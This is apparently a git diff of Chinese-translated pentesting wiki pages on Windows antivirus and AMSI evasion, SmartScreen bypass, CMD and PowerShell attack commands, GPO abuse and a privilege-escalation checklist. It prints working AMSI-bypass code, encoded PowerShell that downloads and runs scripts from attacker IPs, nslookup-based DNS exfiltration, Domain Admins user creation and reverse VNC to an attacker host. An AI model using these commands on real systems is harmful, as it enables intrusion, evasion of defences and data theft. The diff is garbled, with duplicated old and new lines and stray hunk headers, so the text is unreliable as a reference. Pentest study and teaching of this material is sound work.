强制AMSI初始化失败amsiInitFailed将导致当前进程不会启动扫描。最初这是由[Matt Graeber](https://twitter.com/mattifestation)披露的,微软已经开发了一签名以防止更广泛的使用。
```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
只需一行 PowerShell 代码就可以使当前 PowerShell 进程无法使用 AMSI。 当然,这一行已被 AMSI 本身标记,因此需要进行一些修改才能使用此技术。
只需一行 PowerShell 代码即可使当前 PowerShell 进程无法使用 AMSI。 当然,这一行已被 AMSI 本身标记,因此需要进行一些修改才能使用此技术。
这是我从这个 [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) 中获取的修改过的 AMSI 绕过方法。
```powershell
@ -181,16 +179,16 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
```
请记住,这篇文章发布后可能会被标记,因此如果你的计划是保持不被检测,就不应该发布任何代码。
请记住,一旦这篇文章发布,它可能会被标记,因此如果你的计划是保持不被检测,就不应该发布任何代码。
**内存补丁**
该技术最初由 [@RastaMouse](https://twitter.com/_RastaMouse/) 发现,涉及在 amsi.dll 中找到 "AmsiScanBuffer" 函数的地址(负责扫描用户提供的输入),并用返回 E_INVALIDARG 代码的指令覆盖它,这样,实际扫描的结果将返回 0这被解释为干净的结果。
该技术最初由 [@RastaMouse](https://twitter.com/_RastaMouse/) 发现涉及在 amsi.dll 中找到 "AmsiScanBuffer" 函数的地址(负责扫描用户提供的输入),并用返回 E_INVALIDARG 代码的指令覆盖它,这样,实际扫描的结果将返回 0这被解释为干净的结果。
> [!NOTE]
> 请阅读 [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) 以获取更详细的解释。
还有许多其他技术可以通过 PowerShell 绕过 AMSI查看 [**此页面**](basic-powershell-for-pentesters/#amsi-bypass) 和 [仓库](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) 以了解更多信息。
还有许多其他技术可以通过 PowerShell 绕过 AMSI查看 [**此页面**](basic-powershell-for-pentesters/index.html#amsi-bypass) 和 [这个仓库](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) 以了解更多信息。
或者这个脚本通过内存补丁将补丁应用于每个新的 PowerShell。
@ -199,7 +197,7 @@ $Spotfix.SetValue($null,$true)
有几种工具可以用来 **混淆 C# 明文代码**,生成 **元编程模板** 以编译二进制文件或 **混淆编译后的二进制文件**,例如:
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# 混淆器**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): 该项目的目的是提供一个开源的 [LLVM](http://www.llvm.org/) 编译套件分支,能够通过 [代码混淆](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) 和防篡改提供增强的软件安全性。
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): 该项目的目的是提供一个开源的 LLVM 编译套件分支,能够通过 [代码混淆](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) 和防篡改提供增强的软件安全性。
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator 演示如何使用 `C++11/14` 语言在编译时生成混淆代码,而无需使用任何外部工具且不修改编译器。
- [**obfy**](https://github.com/fritzone/obfy): 添加一层由 C++ 模板元编程框架生成的混淆操作,这将使想要破解应用程序的人稍微困难一些。
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz 是一个 x64 二进制混淆器,能够混淆各种不同的 pe 文件,包括:.exe, .dll, .sys
@ -210,13 +208,13 @@ $Spotfix.SetValue($null,$true)
## SmartScreen & MoTW
您可能在从互联网下载某些可执行文件并执行它们时见过此屏幕。
你可能在从互联网下载某些可执行文件并执行它们时见过这个屏幕。
Microsoft Defender SmartScreen 是一种安全机制,旨在保护最终用户免受运行潜在恶意应用程序的影响。
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
SmartScreen 主要采用基于声誉的方法,这意味着不常下载的应用程序将触发 SmartScreen从而警告并阻止最终用户执行该文件尽管可以通过击更多信息 -> 无论如何运行来执行该文件)。
SmartScreen 主要采用基于声誉的方法,这意味着不常下载的应用程序将触发 SmartScreen从而警告并阻止最终用户执行该文件尽管可以通过击更多信息 -> 无论如何运行来执行该文件)。
**MoTW**(网络标记)是一个 [NTFS 备用数据流](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>),其名称为 Zone.Identifier下载来自互联网的文件时会自动创建并附带下载的 URL。
@ -225,7 +223,7 @@ SmartScreen 主要采用基于声誉的方法,这意味着不常下载的应
> [!NOTE]
> 重要的是要注意,使用 **受信任** 签名证书签名的可执行文件 **不会触发 SmartScreen**
防止的有效载荷获得网络标记的一个非常有效的方法是将它们打包在某种容器中,例如 ISO。这是因为网络标记MOTW **不能** 应用于 **非 NTFS** 卷。
防止的有效载荷获得网络标记的一个非常有效的方法是将它们打包在某种容器中,例如 ISO。这是因为网络标记MOTW **不能** 应用于 **非 NTFS** 卷。
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
@ -253,56 +251,56 @@ Adding file: /TotallyLegitApp.exe
[+] Generated file written to (size: 3420160): container.iso
```
这里是一个通过将有效载打包在ISO文件中来绕过SmartScreen的演示使用[PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
这里是一个通过将有效载打包在 ISO 文件中来绕过 SmartScreen 的演示,使用 [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
<figure><img src="../images/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
## C#程序集反射
## C# 程序集反射
在内存中加载C#二进制文件已经被知道很长时间了这仍然是运行后渗透工具而不被AV捕获的非常好方法。
在内存中加载 C# 二进制文件已经被知道了一段时间,这仍然是运行后渗透工具而不被 AV 捕获的非常好方法。
由于有效载将直接加载到内存中而不接触磁盘我们只需担心在整个过程中修补AMSI。
由于有效载将直接加载到内存中而不接触磁盘,我们只需担心在整个过程中修补 AMSI。
大多数C2框架sliver、Covenant、metasploit、CobaltStrike、Havoc等已经提供了直接在内存中执行C#程序集的能力,但有不同的方法可以做到这一点:
大多数 C2 框架sliver、Covenant、metasploit、CobaltStrike、Havoc 等)已经提供了直接在内存中执行 C# 程序集的能力,但有不同的方法可以做到这一点:
- **Fork\&Run**
这涉及到**生成一个新的牺牲进程**将你的后渗透恶意代码注入到该新进程中执行你的恶意代码完成后杀死新进程。这有其优点和缺点。Fork和运行方法的好处在于执行发生在我们的Beacon植入进程**之外**。这意味着如果我们的后渗透操作中的某些事情出错或被捕获,我们的**植入物存活的机会会更大**。缺点是你有**更大的机会**被**行为检测**捕获。
这涉及到 **生成一个新的牺牲进程**将你的后渗透恶意代码注入到该新进程中执行你的恶意代码完成后杀死新进程。这有其优点和缺点。Fork 和运行方法的好处在于执行发生在我们的 Beacon 植入进程 **之外**。这意味着如果我们的后渗透操作出现问题或被捕获,我们的 **植入物存活的机会会更大**。缺点是你有 **更大的机会****行为检测** 捕获。
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
- **Inline**
这涉及将后渗透恶意代码**注入到其自身进程中**。这样,你可以避免创建新进程并让其被AV扫描但缺点是如果你的有效载荷执行出现问题**失去你的信标的机会会更大**,因为它可能会崩溃。
这涉及将后渗透恶意代码 **注入到其自身进程中**。这样,你可以避免创建新进程并让其被 AV 扫描,但缺点是如果你的有效负载执行出现问题,**失去你的 beacon 的机会会更大**,因为它可能会崩溃。
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> 如果你想了解更多关于C#程序集加载的信息,请查看这篇文章[https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/)及其InlineExecute-Assembly BOF[https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)
> 如果你想了解更多关于 C# 程序集加载的信息,请查看这篇文章 [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) 和他们的 InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
你还可以从PowerShell加载C#程序集,查看[Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader)和[S3cur3th1sSh1t的视频](https://www.youtube.com/watch?v=oe11Q-3Akuk)。
你还可以 ** PowerShell 加载 C# 程序集**,查看 [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) [S3cur3th1sSh1t 的视频](https://www.youtube.com/watch?v=oe11Q-3Akuk)。
## 使用其他编程语言
正如在[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins)中提出的,可以通过让被攻陷的机器访问**安装在攻击者控制的SMB共享上的解释器环境**来使用其他语言执行恶意代码。
正如在 [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) 中提出的,可以通过让被攻陷的机器访问 **安装在攻击者控制的 SMB 共享上的解释器环境** 来使用其他语言执行恶意代码。
通过允许访问SMB共享上的解释器二进制文件和环境你可以**在被攻陷机器的内存中执行这些语言的任意代码**。
通过允许访问 SMB 共享上的解释器二进制文件和环境,你可以 **在被攻陷机器的内存中执行这些语言的任意代码**
该仓库指出Defender仍然会扫描脚本但通过利用Go、Java、PHP等我们有**更多的灵活性来绕过静态签名**。使用这些语言中的随机未混淆反向Shell脚本进行测试已证明成功。
该仓库指出Defender 仍然会扫描脚本,但通过利用 Go、Java、PHP 等,我们有 **更多灵活性来绕过静态签名**。使用这些语言中的随机未混淆反向 shell 脚本进行测试已证明成功。
## 高级规避
规避是一个非常复杂的话题,有时你必须考虑一个系统中许多不同的遥测源,因此在成熟环境中完全不被检测几乎是不可能的。
规避是一个非常复杂的话题,有时你必须考虑一个系统中许多不同的遥测源,因此在成熟环境中完全不被检测几乎是不可能的。
你所面对的每个环境都有其自身的优缺点。
我强烈建议你观看[@ATTL4S](https://twitter.com/DaniLJ94)的这次演讲,以了解更多高级规避技术。
我强烈建议你观看 [@ATTL4S](https://twitter.com/DaniLJ94) 的这场演讲,以了解更多高级规避技术。
{{#ref}}
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
{{#endref}}
这也是[@mariuszbit](https://twitter.com/mariuszbit)关于深入规避的另一个精彩演讲。
这也是 [@mariuszbit](https://twitter.com/mariuszbit) 关于深入规避的另一场精彩演讲。
{{#ref}}
https://www.youtube.com/watch?v=IbA7Ung39o4
@ -310,14 +308,14 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
## **旧技术**
### **检查Defender发现的恶意部分**
### **检查 Defender 发现的恶意部分**
你可以使用[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck),它将**移除二进制文件的部分**,直到**找出Defender**发现的恶意部分并将其分离给你。\
另一个做**同样事情的工具是**[**avred**](https://github.com/dobin/avred),它在[**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)提供开放的网络服务。
你可以使用 [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck),它**删除二进制文件的部分**,直到 **找出 Defender** 发现的恶意部分并将其分离给你。\
另一个做 **同样事情的工具是** [**avred**](https://github.com/dobin/avred),它在 [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) 提供开放的网络服务。
### **Telnet服务器**
### **Telnet 服务器**
直到Windows 10所有Windows都附带一个**Telnet服务器**,你可以通过以下方式安装(作为管理员):
直到 Windows 10所有 Windows 都附带一个 **Telnet 服务器**,你可以通过以下方式安装(作为管理员):
```bash
pkgmgr /iu:"TelnetServer" /quiet
```
@ -344,7 +342,7 @@ netsh advfirewall set allprofiles state off
#### **反向连接**
**攻击者**应在其 **主机** 中执行二进制文件 `vncviewer.exe -listen 5900`,以便 **准备** 捕获反向 **VNC 连接**。然后,在 **受害者** 中: 启动 winvnc 守护进程 `winvnc.exe -run` 并运行 `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
**攻击者**应在其 **主机** 中执行二进制文件 `vncviewer.exe -listen 5900`,以便 **准备** 捕获反向 **VNC 连接**。然后,在 **受害者** 机器中: 启动 winvnc 守护进程 `winvnc.exe -run` 并运行 `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
**警告:** 为了保持隐蔽性,你必须避免以下几件事

View File

@ -1,4 +1,4 @@
# 基本的 Windows CMD 用于渗透测试
# Basic Win CMD for Pentesters
{{#include ../banners/hacktricks-training.md}}
@ -42,7 +42,7 @@ nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
wmic logicaldisk get caption,description,providername
```
### [Defender](authentication-credentials-uac-and-efs/#defender)
### [Defender](authentication-credentials-uac-and-efs/index.html#defender)
### 回收站
```bash
@ -164,7 +164,7 @@ cmdkey /list #List credential
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access
```
### 与用户的持久性
### 持久性与用户
```bash
# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
@ -237,7 +237,7 @@ net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
```
### 无线网络
### Wifi
```bash
netsh wlan show profile #AP SSID
netsh wlan show profile <SSID> key=clear #Get Cleartext Pass
@ -339,7 +339,7 @@ sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passi
```
#### Victim
**`for /f tokens`** 技术:这允许我们执行命令,获取每行的前 X 个单词,并通过 DNS 发送到我们的服务器
**`for /f tokens`** 技术:这允许我们执行命令,获取每行的前 X 个单词,并通过 DNS 发送到我们的服务器
```bash
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
@ -369,7 +369,7 @@ i=system("net localgroup administrators otherAcc /add");
return 0;
}
```
## 备用数据流备忘单 (ADS/备用数据流)
## Alternate Data Streams CheatSheet (ADS/Alternate Data Stream)
**示例来自** [**https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f**](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)**. 里面还有很多更多的内容!**
```bash

View File

@ -1,4 +1,4 @@
# 基本 PowerShell 用于渗透测试人员
# Basic PowerShell for Pentesters
{{#include ../../banners/hacktricks-training.md}}
@ -7,7 +7,7 @@
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
```
## 基本 PS 命令入门
## 基本 PS 命令入门
```powershell
Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
@ -34,7 +34,7 @@ powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
```powershell
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="
```
### 从 Linux 使用 b64
### 从Linux使用b64
```powershell
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>
@ -65,7 +65,7 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>
```
## [执行策略](../authentication-credentials-uac-and-efs/#ps-execution-policy)
## [执行策略](../authentication-credentials-uac-and-efs/index.html#ps-execution-policy)
## [受限语言](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md)
@ -115,9 +115,9 @@ ValueData : 0
```
### AMSI 绕过
**`amsi.dll`** 被 **加载** 到你的进程中,并具有任何应用程序交互所需的 **导出**。由于它被加载到你 **控制** 的进程的内存空间中,你可以通过 **覆盖内存中的指令** 来改变它的行为。使其无法检测任何内容。
**`amsi.dll`** 被 **加载** 到你的进程中,并具有任何应用程序交互所需的 **导出**。由于它被加载到你 **控制** 的进程的内存空间中,你可以通过 **覆盖内存中的指令** 来改变行为。使其无法检测任何内容。
因此AMSI 绕过的目标是 **在内存中覆盖该 DLL 的指令,使检测无效**。
因此AMSI 绕过的目标是 **覆盖该 DLL 在内存中的指令,使检测无效**。
**AMSI 绕过生成器** 网页: [**https://amsi.fail/**](https://amsi.fail/)
```powershell
@ -164,29 +164,29 @@ https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html
```
### AMSI Bypass 2 - 管理 API 调用钩子
### AMSI Bypass 2 - Managed API Call Hooking
查看 [**此帖子以获取详细信息和代码**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/)。介绍:
查看[**此帖子以获取详细信息和代码**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/)。介绍:
这种新技术依赖于 .NET 方法的 API 调用钩子。事实证明,.NET 方法需要编译为内存中的本机机器指令,这些指令最终看起来与本机方法非常相似。这些编译的方法可以被钩住,以改变程序的控制流。
这种新技术依赖于 .NET 方法的 API 调用钩子。事实证明,.NET 方法需要编译为内存中的本机机器指令,这些指令看起来与本机方法非常相似。这些编译的方法可以被钩住,以改变程序的控制流。
执行 .NET 方法的 API 调用钩子的步骤如下:
1. 确定要钩住的目标方法
2. 定义一个与目标具有相同函数原型的方法
3. 使用反射查找方法
4. 确保每个方法已编译
4. 确保每个方法已编译
5. 找到每个方法在内存中的位置
6. 用指向我们恶意方法的指令覆盖目标方法
### AMSI Bypass 3 - SeDebug 特权
### AMSI Bypass 3 - SeDebug Privilege
[**按照此指南和代码**](https://github.com/MzHmO/DebugAmsi),您可以看到如何通过足够的调试进程的特权,生成一个 powershell.exe 进程,调试它,监控何时加载 `amsi.dll` 并禁用它。
[**按照此指南和代码**](https://github.com/MzHmO/DebugAmsi),您可以看到如何通过足够的权限调试进程,生成一个 powershell.exe 进程,调试它,监控何时加载 `amsi.dll` 并禁用它。
### AMSI Bypass - 更多资源
### AMSI Bypass - More Resources
- [S3cur3Th1sSh1t/Amsi-Bypass-Powershell](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)
- [2023 年在 Windows 11 上的 Amsi Bypass](https://gustavshen.medium.com/bypass-amsi-on-windows-11-75d231b2cac6) [Github](https://github.com/senzee1984/Amsi_Bypass_In_2023)
- [2023年在Windows 11上绕过Amsi](https://gustavshen.medium.com/bypass-amsi-on-windows-11-75d231b2cac6) [Github](https://github.com/senzee1984/Amsi_Bypass_In_2023)
## PS-History
```powershell
@ -206,7 +206,7 @@ Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSR
```powershell
Get-Acl -Path "C:\Program Files\Vuln Services" | fl
```
## 操作系统版本和补丁
## 操作系统版本和热修复
```powershell
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
@ -227,7 +227,7 @@ $shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()
```
## 域侦查
## 域侦查
{{#ref}}
powerview.md

View File

@ -134,10 +134,10 @@ Get-LoggedOnLocal -ComputerName <servername> #Get locally logon users at the mom
Get-LastLoggedon -ComputerName <servername> #Get last user logged on (needs admin rigths in host)
Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (needs admin rights in host)
```
### 组策略对象 - GPOs
### Group Policy Object - GPOs
如果攻击者对 **GPO** 拥有 **高权限**,他可能能够通过 **为用户添加权限**、**向主机添加本地管理员用户** 或 **创建一个计划任务**(立即)来执行某个操作,从而 **提权**。\
有关 **更多信息以及如何用它,请访问此链接**。
如果攻击者对 **GPO** 拥有 **高权限**,他可能能够通过 **为用户添加权限**、**向主机添加本地管理员用户** 或 **创建计划任务**(立即)来进行 **权限提升**。\
有关 **更多信息以及如何用它,请访问此链接**。
```powershell
#GPO
Get-DomainGPO | select displayName #Check the names for info
@ -171,7 +171,7 @@ Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType
# Enumerates the machines where a specific domain user/group is a member of a specific local group.
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName
```
学习如何 **利用 GPO 和 ACL 的权限**
学习如何在以下内容中**利用 GPO 和 ACL 的权限**
{{#ref}}
../active-directory-methodology/acl-persistence-abuse/

View File

@ -1,113 +1,113 @@
# 清单 - 本地 Windows
# 检查清单 - 本地 Windows 权限提升
{{#include ../banners/hacktricks-training.md}}
### **查找 Windows 本地权向量的最佳工具:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### **查找 Windows 本地限提升向量的最佳工具:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### [系统信息](windows-local-privilege-escalation/#system-info)
### [系统信息](windows-local-privilege-escalation/index.html#system-info)
- [ ] 获取 [**系统信息**](windows-local-privilege-escalation/#system-info)
- [ ] 搜索 **内核** [**利用脚本**](windows-local-privilege-escalation/#version-exploits)
- [ ] 使用 **Google 搜索** 内核 **利用**
- [ ] 使用 **searchsploit 搜索** 内核 **利用**
- [ ] [**环境变量**](windows-local-privilege-escalation/#environment) 中有趣的信息?
- [ ] [**PowerShell 历史**](windows-local-privilege-escalation/#powershell-history) 中的密码?
- [ ] [**互联网设置**](windows-local-privilege-escalation/#internet-settings) 中有趣的信息?
- [ ] [**驱动器**](windows-local-privilege-escalation/#drives)
- [ ] [**WSUS 利用**](windows-local-privilege-escalation/#wsus)
- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/#alwaysinstallelevated)
- [ ] 获取 [**系统信息**](windows-local-privilege-escalation/index.html#system-info)
- [ ] 使用脚本搜索 **内核** [**漏洞**](windows-local-privilege-escalation/index.html#version-exploits)
- [ ] 使用 **Google 搜索** 内核 **漏洞**
- [ ] 使用 **searchsploit 搜索** 内核 **漏洞**
- [ ] [**环境变量**](windows-local-privilege-escalation/index.html#environment) 中有趣的信息?
- [ ] [**PowerShell 历史**](windows-local-privilege-escalation/index.html#powershell-history) 中的密码?
- [ ] [**Internet 设置**](windows-local-privilege-escalation/index.html#internet-settings) 中有趣的信息?
- [ ] [**驱动器**](windows-local-privilege-escalation/index.html#drives)
- [ ] [**WSUS 漏洞**](windows-local-privilege-escalation/index.html#wsus)
- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)
### [日志/AV 枚举](windows-local-privilege-escalation/#enumeration)
### [日志/AV 枚举](windows-local-privilege-escalation/index.html#enumeration)
- [ ] 检查 [**审计**](windows-local-privilege-escalation/#audit-settings) 和 [**WEF**](windows-local-privilege-escalation/#wef) 设置
- [ ] 检查 [**LAPS**](windows-local-privilege-escalation/#laps)
- [ ] 检查 [**WDigest**](windows-local-privilege-escalation/#wdigest) 是否处于活动状态
- [ ] [**LSA 保护**](windows-local-privilege-escalation/#lsa-protection)
- [ ] [**凭据保护**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)
- [ ] [**缓存凭据**](windows-local-privilege-escalation/#cached-credentials)
- [ ] 检查 [**审计**](windows-local-privilege-escalation/index.html#audit-settings) 和 [**WEF**](windows-local-privilege-escalation/index.html#wef) 设置
- [ ] 检查 [**LAPS**](windows-local-privilege-escalation/index.html#laps)
- [ ] 检查 [**WDigest**](windows-local-privilege-escalation/index.html#wdigest) 是否处于活动状态
- [ ] [**LSA 保护**](windows-local-privilege-escalation/index.html#lsa-protection)
- [ ] [**凭据保护**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials)
- [ ] [**缓存凭据**](windows-local-privilege-escalation/index.html#cached-credentials)
- [ ] 检查是否有任何 [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
- [ ] [**AppLocker 策略**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)
- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
- [ ] [**用户权限**](windows-local-privilege-escalation/#users-and-groups)
- [ ] 检查 [**当前**] 用户 [**权限**](windows-local-privilege-escalation/#users-and-groups)
- [ ] 你是 [**任何特权组的成员**](windows-local-privilege-escalation/#privileged-groups)吗?
- [ ] 检查你是否启用了 [这些令牌](windows-local-privilege-escalation/#token-manipulation)**SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
- [ ] [**用户会话**](windows-local-privilege-escalation/#logged-users-sessions)
- [ ] 检查 [**用户主目录**](windows-local-privilege-escalation/#home-folders)(访问?)
- [ ] 检查 [**密码策略**](windows-local-privilege-escalation/#password-policy)
- [ ] [**剪贴板**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard) 中有什么?
- [ ] [**用户权限**](windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] 检查 [**当前**] 用户 [**权限**](windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] 你是 [**任何特权组的成员**](windows-local-privilege-escalation/index.html#privileged-groups)吗?
- [ ] 检查你是否启用了 [这些令牌](windows-local-privilege-escalation/index.html#token-manipulation)**SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
- [ ] [**用户会话**](windows-local-privilege-escalation/index.html#logged-users-sessions)
- [ ] 检查 [**用户主目录**](windows-local-privilege-escalation/index.html#home-folders)(访问?)
- [ ] 检查 [**密码策略**](windows-local-privilege-escalation/index.html#password-policy)
- [ ] [**剪贴板**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard) 中有什么?
### [网络](windows-local-privilege-escalation/#network)
### [网络](windows-local-privilege-escalation/index.html#network)
- [ ] 检查 **当前** [**网络** **信息**](windows-local-privilege-escalation/#network)
- [ ] 检查 **当前** [**网络** **信息**](windows-local-privilege-escalation/index.html#network)
- [ ] 检查 **隐藏的本地服务** 是否限制外部访问
### [运行中的进程](windows-local-privilege-escalation/#running-processes)
### [运行中的进程](windows-local-privilege-escalation/index.html#running-processes)
- [ ] 进程二进制 [**文件和文件夹权限**](windows-local-privilege-escalation/#file-and-folder-permissions)
- [ ] [**内存密码挖掘**](windows-local-privilege-escalation/#memory-password-mining)
- [ ] [**不安全的 GUI 应用**](windows-local-privilege-escalation/#insecure-gui-apps)
- [ ] 进程二进制文件 [**文件和文件夹权限**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
- [ ] [**内存密码挖掘**](windows-local-privilege-escalation/index.html#memory-password-mining)
- [ ] [**不安全的 GUI 应用程序**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
- [ ] 通过 `ProcDump.exe` 偷取 **有趣进程** 的凭据firefox, chrome 等 ...
### [服务](windows-local-privilege-escalation/#services)
### [服务](windows-local-privilege-escalation/index.html#services)
- [ ] [你能 **修改任何服务** 吗?](windows-local-privilege-escalation/#permissions)
- [ ] [你能 **修改** 任何 **服务** 执行的 **二进制文件** 吗?](windows-local-privilege-escalation/#modify-service-binary-path)
- [ ] [你能 **修改** 任何 **服务** 的 **注册表** 吗?](windows-local-privilege-escalation/#services-registry-modify-permissions)
- [ ] [你能利用任何 **未加引号的服务** 二进制 **路径** 吗?](windows-local-privilege-escalation/#unquoted-service-paths)
- [ ] [你能 **修改任何服务** 吗?](windows-local-privilege-escalation/index.html#permissions)
